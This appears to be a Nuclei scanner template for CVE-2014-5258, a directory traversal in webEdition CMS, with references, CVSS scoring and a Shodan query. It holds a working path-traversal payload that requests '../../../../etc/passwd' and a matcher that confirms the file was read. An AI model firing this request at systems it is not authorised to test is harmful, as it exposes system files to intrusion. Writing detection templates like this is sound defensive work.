webEdition 6.3.8.0 - Directory Traversal

id: CVE-2014-5258

info:
  name: webEdition 6.3.8.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of webEdition or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5258
    - https://www.exploit-db.com/exploits/34761
    - http://packetstormsecurity.com/files/128301/webEdition-6.3.8.0-Path-Traversal.html
    - http://www.webedition.org/de/webedition-cms/versionshistorie/webedition-6/version-6.3.9.0
    - http://www.webedition.org/de/aktuelles/webedition-cms/webEdition-6.3.9-Beta-erschienen
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2014-5258
    cwe-id: CWE-22
    epss-score: 0.1998
    epss-percentile: 0.97096
    cpe: cpe:2.3:a:webedition:webedition_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webedition
    product: webedition_cms
    shodan-query: cpe:"cpe:2.3:a:webedition:webedition_cms"
  tags: cve2014,cve,edb,packetstorm,lfi,webedition,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webEdition/showTempFile.php?file=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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